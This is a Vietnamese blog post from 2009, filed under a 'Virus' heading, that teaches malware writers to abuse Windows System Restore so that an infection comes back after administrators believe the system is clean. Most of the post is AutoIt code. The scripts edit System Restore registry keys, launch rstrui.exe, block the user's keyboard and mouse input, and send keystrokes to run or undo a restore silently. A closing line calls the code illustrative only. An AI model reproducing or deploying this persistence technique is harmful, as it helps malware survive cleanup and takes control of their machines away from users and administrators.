Trao đổi với tôi

http://www.buidao.com

7/5/09

[Virus] Khai thác cơ chế System Restore

Khai thác cơ chế System Restore

Author: Benina 2009

Hôm nay, tôi sẽ đề cập đến vấn đề System Restore của Windows. Vì người dùng bình thường ít ai sử dụng cơ chế này. Chỉ các nhà quản trị máy mới thường sử dụng tính năng này. Nên việc giao diện lúc running ít ai thấy qua. Do đó vx sẽ dễ qua mặt các tay mơ. Vì vậy vxer lợi dụng tính năng khôi phục lại hệ thống của Windows để tái sinh virus trở lại. Sau khi virus lây nhiễm xong, nó sẽ kích họat cơ chế System Restore của Windows hồng bắt Windows tự động backup chính virus đã lây nhiễm tùm lum. Đến một thời điểm thích hợp nó sẽ kích họat restore lại virus nguyên hình như lúc đầu . Đồng thời, một công hai chuyện, các nhà quản trị máy tưởng rằng restore lại đã an tòan, nhưng nào ngờ …. Vậy tính năng này bị khai thác thì nó cũng thành vô dụng. Khai thác system restore để virus càng lì lợm hơn.

Trước khi đọc tiếp code. Chúng ta nên đọc qua lọai bài viết này rất hay để nắm bắt cơ chế System Restore sử dụng ra sau:

Khôi phục hệ thống bằng System Restore trong Windows (1,2,3)
http://vietbao.vn/Vi-tinh-Vien-thong/Khoi-phuc-he-thong-bang-System-Restore-trong-Windows-I/30214055/226/
http://vietbao.vn/Vi-tinh-Vien-thong/Khoi-phuc-he-thong-bang-System-Restore-trong-Windows-II/30215048/217/
http://vietbao.vn/Vi-tinh-Vien-thong/Khoi-phuc-he-thong-bang-System-Restore-trong-Windows-III/30215494/226/

Sau khi ta biết được System Restore phục hồi hệ thống như thế nào qua các lọai bài viết trên. Bây giờ chúng ta sẽ xem đọan code rất dễ hiểu viết bằng AutoIT:

1-/Automated System Restore:

RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "REG_DWORD", "00000000")

RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sr", "Start", "REG_DWORD", "00000000")

RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sr", "ImagePath", "REG_EXPAND_SZ", "system32\DRIVERS\sr.sys")

RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sr\Parameters", "FirstRun", "REG_DWORD", "00000000")

RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sr", "Start", "REG_DWORD", "00000000")

RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sr", "ImagePath", "REG_EXPAND_SZ", "system32\DRIVERS\sr.sys")

RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sr\Parameters", "FirstRun", "REG_DWORD", "00000000")

RegWrite("HKEY_USERS\S-1-5-21-1482476501-1326574676-725345543-1003\SessionInformation", "ProgramCount", "REG_DWORD", "00000000")

Run ("C:\WINDOWS\system32\Restore\rstrui.exe")

sleep(10000)

$title = WinGetTitle("System Restore")

$wincheck = WinExists ($title)

if $wincheck = 1 then

BlockInput (1)

WinActivate($title)

sleep (50)

send("{ENTER} ")

sleep(50)

send ("{ENTER}")

sleep(50)

send("{ENTER} ")

sleep(50)

send ("{ENTER}")

sleep(50)

send("{ENTER} ")

sleep(50)

send ("{ENTER}")

BlockInput (0)

endif

2-/Undo Restoreration

Run ("C:\WINDOWS\system32\Restore\rstrui.exe")

sleep(10000)

$title = WinGetTitle("System Restore")

$wincheck = WinExists ($title)

if $wincheck = 1 then

BlockInput (1)

WinActivate($title)

sleep (50)

send("{DOWN} ")

sleep(50)

send ("{DOWN}")

sleep(50)

send("{ENTER} ")

sleep(50)

send ("{ENTER}")

sleep(50)

send("{ENTER} ")

sleep(50)

send ("{ENTER}")

BlockInput (0)

Endif

Ghi chú:

- Các key trên do tôi tìm ra khi bật tắt cơ chế system restore

- Sau khi chạy xong script 1/ , thì Windows sẽ tự khởi động lại để restore hệ thống chứa trong thư mục System Volume Information\_restore{91AE3800-2FB4-462E-89FC-629813F3FC6C}. Vì vậy một vài bạn hỏi khi các trình anti-vx phát hiện vx trong thư mục trên thì phải diệt ra sao?. Qua bài này chắc các bạn sẽ biết làm gì rồi hé.

- Nếu chúng ta ko reg các key như trên thì khi kích họat system restore (rstrui.exe) sẽ bắt bạn phải setup một số thông số rất thủ công.

- Đọan code trên tôi chỉ thử trên WinXP. Nếu trên máy các bạn ko chạy ổn, thì các bạn xem code chỉnh sleep chút xíu nhé.

Lời Kết: Code trên đây chỉ có tính chất minh họa để học tập. Ko nên sử dụng để phá họai.

Thanz u.

Benina